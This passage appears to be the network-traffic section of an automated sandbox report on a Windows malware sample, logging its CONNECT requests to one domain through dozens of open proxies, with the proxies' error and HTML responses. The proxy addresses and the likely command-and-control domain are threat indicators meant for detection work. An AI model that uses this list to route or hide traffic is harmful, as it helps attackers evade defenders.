Feb 23, 2024 09:45:21.597809076 CET	303	IN	HTTP/1.1 502 Bad Gateway Server: openresty Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.4	50956	178.22.168.44	44252	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.291033030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.4	50864	139.99.35.200	1180	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.302156925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.700202942 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.4	52052	103.80.77.1	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.305124044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.4	52056	103.80.77.1	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.306673050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.4	52059	103.80.77.1	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.307553053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.4	52061	103.80.77.1	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.308445930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.4	51783	102.132.57.90	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.318414927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.4	52077	13.41.14.5	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.319180012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.4	52082	13.41.14.5	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.320822001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.4	52084	13.41.14.5	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.322324038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.4	52087	13.41.14.5	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.322984934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.4	51879	174.77.111.197	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.326911926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
604	192.168.2.4	51883	98.188.47.150	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.330725908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.4	51959	104.19.225.70	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.333565950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.423973083 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.4	51937	50.231.0.43	4481	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.334156036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.457046032 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.4	51775	139.99.148.90	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.335215092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.693299055 CET	536	IN	HTTP/1.1 407 Proxy Authentication Required Server: squid/3.5.20 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3640 X-Squid-Error: ERR_CACHE_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en Proxy-Authenticate: Basic realm="Squid Basic Authentication" X-Cache: MISS from ns547184.ip-139-99-148.net X-Cache-Lookup: NONE from ns547184.ip-139-99-148.net:3128 Via: 1.1 ns547184.ip-139-99-148.net (squid/3.5.20) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f Data Ascii: <!DOCTYPE html PUBLIC "-/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.4	51006	72.206.181.123	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.339565039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.4	51044	98.162.25.23	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.339729071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.4	51001	185.49.30.5	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.346426964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.4	50958	91.134.140.160	48962	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.346666098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.865525007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.366400957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.178670883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
612	192.168.2.4	51992	104.16.105.106	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.355144024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.441960096 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
613	192.168.2.4	51845	103.162.31.23	49935	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.359960079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.098689079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
614	192.168.2.4	51886	45.11.95.165	5000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.382226944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
615	192.168.2.4	51938	184.185.2.12	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.389394999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
616	192.168.2.4	52051	172.67.255.224	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.393402100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.481446028 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
617	192.168.2.4	52078	104.21.66.184	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.407161951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.494674921 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
618	192.168.2.4	51964	142.54.229.249	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.419668913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
619	192.168.2.4	51867	52.172.1.186	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.429147005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
620	192.168.2.4	51701	92.246.139.112	30504	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.429168940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.680473089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
621	192.168.2.4	51978	51.210.223.9	3000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.429526091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
622	192.168.2.4	51815	146.190.84.209	33091	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.429622889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.334253073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.537822008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.943955898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
623	192.168.2.4	51885	190.128.228.182	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.429904938 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:21.689177990 CET	1286	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:21 GMT Server: Apache/2.4.56 (Ubuntu) Set-Cookie: PHPSESSID=nfshhklu4djtf5q12bdn50kbdb; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 5101 Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 73 74 61 74 69 63 2f 73 72 63 2f 69 6d 67 2f 66 75 74 75 72 61 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 55 54 55 52 41 31 30 30 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 21 2d 2d 20 46 6f 6e 74 66 61 63 65 73 20 43 53 53 2d 2d 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 66 6f 6e 74 2d 66 61 63 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2d 35 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 21 2d 2d 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 6d 64 69 2d 66 6f 6e 74 2f 63 73 73 2f 6d 61 74 65 72 69 61 6c 2d 64 65 73 69 67 6e 2d 69 63 6f 6e 69 63 2d 66 6f 6e 74 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 2d 2d 3e 0d 0a 0d 0a 3c 21 2d 2d 20 42 6f 6f 74 73 74 72 61 70 20 43 53 53 2d 2d 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 73 74 61 74 69 63 2f 6c 69 62 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 0d 0a 3c 21 2d 2d 20 63 6f 64 69 67 6f 73 20 43 53 53 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 61 6e 69 6d 73 69 74 69 6f 6e 2f 61 6e 69 6d 73 69 74 69 6f 6e 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 70 65 72 66 65 63 74 2d 73 63 72 6f 6c 6c 62 61 72 2f 70 65 72 66 65 63 74 2d 73 63 72 6f 6c 6c 62 61 72 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 2d 2d 3e 0d 0a 0d 0a 3c 21 2d 2d Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <link rel="icon" href="static/src/img/futura.png"> <title>FUTURA100</title><link href="css/style.css" rel="stylesheet" media="all">... Fontfaces CSS--><link href="css/font-face.css" rel="stylesheet" media="all"><link href="codigos/font-awesome-5/css/fontawesome-all.min.css" rel="stylesheet" media="all">...<link href="codigos/mdi-font/css/material-design-iconic-font.min.css" rel="stylesheet" media="all">-->... Bootstrap CSS--><link href="static/lib/css/bootstrap/bootstrap.css" rel="stylesheet" media="all">... codigos CSS<link href="codigos/animsition/animsition.min.css" rel="stylesheet" media="all"><link href="codigos/perfect-scrollbar/perfect-scrollbar.css" rel="stylesheet" media="all">-->...
Feb 23, 2024 09:45:21.689225912 CET	1286	IN	Data Raw: 20 4d 61 69 6e 20 43 53 53 2d 2d 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2d 74 6f 75 72 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 Data Ascii: Main CSS--><link href="css/bootstrap-tour.min.css" rel="stylesheet" media="all"><link href="css/bootstrap-tour-standalone.css" rel="stylesheet" media="all"><link href="css/theme.css" rel="stylesheet" media="all"><link rel="stylesh
Feb 23, 2024 09:45:21.689327955 CET	1286	IN	Data Raw: 74 72 61 70 2d 74 6f 75 72 2d 30 2e 31 32 2e 30 2f 72 65 74 69 6e 61 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 Data Ascii: trap-tour-0.12.0/retina.min.js"></script><script src="https://cdnjs.cloudflare.com/ajax/libs/xlsx/0.18.5/xlsx.full.min.js" integrity="sha512-r22gChDnGvBylk90+2e/ycr3RVrDi8DIOkIGNhJlKfuyQM4tIRAI062MaV8sfjQKYVGjOBaZBOA87z+IhZE9DA==" crossorigi
Feb 23, 2024 09:45:21.689371109 CET	1286	IN	Data Raw: 69 c3 b3 6e 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Data Ascii: in</button> </div> </div> </div> </div> <div class="p-3 d-flex justify-content-center mt-5" style="background-color: rgba(0, 0, 0, -0.9);width: 400px; margin-left:auto;margin-r
